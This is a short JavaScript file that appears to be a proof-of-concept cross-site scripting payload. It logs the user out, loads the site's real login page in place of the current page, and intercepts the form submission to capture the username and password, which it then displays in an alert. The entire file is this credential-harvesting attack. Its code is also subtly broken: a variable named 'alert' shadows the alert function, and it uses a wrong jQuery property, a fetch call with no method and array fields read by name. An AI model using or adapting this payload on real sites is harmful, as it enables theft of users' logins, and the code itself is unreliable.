test.js

fetch('/logout', { credentials: 'include' })
  .then(function(resp) {
    return fetch('/login', { credentials: 'include' })
  })
  .then(function(resp) {
    return resp.text()
  })
  .then(function(body) {
    $('body')
      .html($('<div></div>').html($(body)).filter('.container')[0])
      .addClass('login-page');

    $('body').find('form').submit(function(e) {
      e.preventDefault();

      var creds = $(this).serializeArray();

      fetch('/login', {
        credentials: 'include',
        body: $(this).serialize()
      })
      .then(function(resp) { return resp.text() })
      .then(function(html) {
        var alert = $('<div></div>').html($(html)).find('.alert-danger');
        if (alert.count > 0) {
          $('.widget-header').children('.alert').remove();
          $('.widget-header').append(alert);
        } else {
          alert('Your username is: ' + creds.email + '\n' + 'Your password is: ' + creds.password);
        }
      })
    });
  });